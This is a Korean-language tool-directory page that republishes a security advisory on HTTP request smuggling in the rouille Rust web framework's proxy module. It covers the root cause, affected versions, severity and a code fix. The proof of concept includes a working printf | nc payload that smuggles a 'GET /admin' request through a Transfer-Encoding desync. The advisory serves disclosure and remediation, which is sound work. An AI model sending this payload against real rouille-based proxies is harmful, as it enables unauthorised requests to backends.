Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-67181-HTTP-Request-Smuggling-via-Transfer-Encoding-Desynchronization-rouille- — 보안 권고: Transfer-Encoding 탈동기화를 통한 HTTP 요청 스머글링 (rouille) | Kitploit
도구/GitHubGitHub/theopaid/cve-2026-67181-http-request-smuggling-via-transfer-encoding-desynchronization-rouille-
Vulnerability AnalysisExploitationWeb Application ExploitationWeb Security
GitHubtheopaid/cve-2026-67181-http-request-smuggling-via-transfer-encoding-desynchronization-rouille-

CVE-2026-67181-HTTP-Request-Smuggling-via-Transfer-Encoding-Desynchronization-rouille-

보안 권고: Transfer-Encoding 탈동기화를 통한 HTTP 요청 스머글링 (rouille)

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
23일 전아직 검토되지 않음

보안 권고: Transfer-Encoding 역동기화를 통한 HTTP 요청 스머글링 (rouille)

할당된 CVE ID: CVE-2026-67181

요약

rouille::proxy::proxy는 클라이언트의 Transfer-Encoding 헤더를 변경하지 않고 백엔드로 전달하지만, tiny_http가 이미 청크를 해제한 요청 본문을 씁니다. 자체적으로 Content-Length를 내보내지 않습니다. 백엔드는 본문이 청크(chunked)라고 전달받았지만 실제로는 청크가 아닌 바이트를 받게 되므로, 백엔드가 본문의 끝이라고 판단하는 지점을 결정하는 것은 rouille가 아니라 클라이언트입니다.

영향받는 버전

저장소 URL: https://github.com/tomaka/rouille

최초 영향 버전0.3.3 (2016-12-03), src/proxy.rs를 도입한 릴리스
마지막 영향 버전3.6.2 (2023-04-24), 현재 릴리스
영향 없음0.3.2 이하 버전, 프록시 모듈이 없음
수정 버전작성 시점 기준 수정 버전 없음

src/proxy.rs는 3.6.2 태그와 현재 master 사이에서 바이트 단위로 동일합니다. proxy::proxy 또는 proxy::full_proxy를 호출하는 애플리케이션만 영향을 받습니다.

심각도

CWE-444 (HTTP 요청의 비일관된 해석).

CVSS 4.0 기본 점수 6.3 (Medium) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

위협 모델

리버스 프록시 역할을 하는 rouille 애플리케이션에 원시 HTTP를 보내는 원격의 비인증 클라이언트입니다. 자격 증명이나 사용자 상호 작용이 필요하지 않습니다.

영향은 백엔드에 따라 다릅니다. Connection: close와 관계없이 파이프라이닝하는 백엔드와 rouille와 오리진(origin) 사이에 있는 모든 커넥션 풀링 중간 장비는 스머글된 요청을 실행하게 됩니다. Connection: close를 준수하는 백엔드도 결국 클라이언트가 보낸 것과 rouille가 관찰한 것과는 다른 요청 본문을 받게 됩니다.

근본 원인

tiny_http는 Transfer-Encoding 헤더가 존재할 때마다 청크 인코딩을 해제하고 Content-Length를 무시합니다.

tiny_http-0.12.0/src/request.rs, 149~159행:

root@kitploit:~
149      // finding the content-length header
150      let content_length = if transfer_encoding.is_some() {
151          // if transfer-encoding is specified, the Content-Length
152          // header must be ignored (RFC2616 #4.4)
153          None
154      } else {

tiny_http-0.12.0/src/request.rs, 218~221행:

root@kitploit:~
218      } else if transfer_encoding.is_some() {
219          // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220          // over the message (RFC2616 #3.6)
221          Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>

그런 다음 rouille/src/proxy.rs는 Connection을 제외한 모든 헤더를 전달하고 디코딩된 본문을 복사합니다. 167~174행:

root@kitploit:~
167          if header == "Connection" {
168              continue;
169          }
170  
171          socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172      }
173      socket.write_all(b"Connection: close\r\n\r\n")?;
174      io::copy(&mut data, &mut socket)?;

클라이언트의 Transfer-Encoding: chunked는 171행을 거치며 그대로 유지됩니다. 174행은 Decoder가 생성한 평문(plaintext)을 씁니다. Content-Length는 전혀 기록되지 않으므로 백엔드에는 프레이밍 기준으로 삼을 다른 것이 없어서 공격자가 선택한 평문에 청크 파싱을 적용하게 됩니다.

개념 증명 (Proof of Concept)

1단계. 백엔드 역할을 하고 rouille가 보내는 바이트를 표시하도록 포트 8001에서 원시 리스너를 시작합니다.

root@kitploit:~
nc -l 127.0.0.1 8001 | cat -v

2단계. 포트 8000에서 rouille 프런트 엔드를 시작합니다.

root@kitploit:~
use rouille::proxy;

fn main() {
    rouille::start_server("127.0.0.1:8000", |request| {
        proxy::full_proxy(request, proxy::ProxyConfig {
            addr: "127.0.0.1:8001", replace_host: None,
        }).unwrap()
    });
}

3단계. 디코딩된 본문이 그 자체로 즉시 종료되는 청크 스트림인 올바른 청크 요청을 보낸 다음, 두 번째 요청을 이어서 보냅니다. 단일 청크의 길이는 0x3d = 61바이트입니다.

root@kitploit:~
printf 'POST /public/upload HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked\r\n\r\n3d\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\nX-Smuggled: yes\r\n\r\n\r\n0\r\n\r\n' | nc 127.0.0.1 8000

결과. 1단계의 리스너는 rouille가 청크 프레이밍을 알린 다음 평문을 보내는 것을 보여줍니다:

root@kitploit:~
POST /public/upload HTTP/1.1
Host: x
Transfer-Encoding: chunked
Connection: close

0

GET /admin HTTP/1.1
Host: x
X-Smuggled: yes

Transfer-Encoding: chunked를 준수하는 백엔드는 청크 크기 줄 0을 읽고 본문이 비어 있다고 판단한 다음, 나머지 56바이트를 새 요청으로 파싱합니다.

영향

백엔드가 보는 요청 본문은 클라이언트가 보낸 바이트와 rouille가 읽은 바이트 모두와 다릅니다. 본문을 로깅, 감사(audit), 미러링하는 모든 업스트림 요소는 백엔드가 실제로 처리한 것과 다른 내용을 기록합니다.

백엔드가 Connection: close에도 불구하고 파이프라이닝하거나, rouille와 오리진 사이에 커넥션 풀링 중간 장비가 있는 경우, 후행 바이트는 공격자가 선택한 메서드와 경로를 가진 두 번째 요청이 됩니다.

tiny_http가 무시했음에도 클라이언트의 Content-Length도 함께 전달되므로, Transfer-Encoding보다 Content-Length를 우선하는 백엔드는 CL.TE 역동기화가 직접 발생합니다.

수정 방법

rouille가 이미 디코딩한 본문을 설명하는 프레이밍 헤더를 전달하지 마십시오. src/proxy.rs의 167행에서 건너뛰기(skip) 조건을 확장하십시오:

root@kitploit:~
if header.eq_ignore_ascii_case("Connection")
    || header.eq_ignore_ascii_case("Transfer-Encoding")
    || header.eq_ignore_ascii_case("Content-Length")
{
    continue;
}

그런 다음 실제로 쓰여진 내용과 일치하는 프레이밍을 내보내십시오: 본문을 버퍼링하고 정확한 Content-Length를 보내거나, 본문을 다시 청크 인코딩하고 직접 Transfer-Encoding: chunked를 보내되, 173행의 종료 \r\n\r\n 앞에 이 프레이밍을 배치하십시오.

도구 다운로드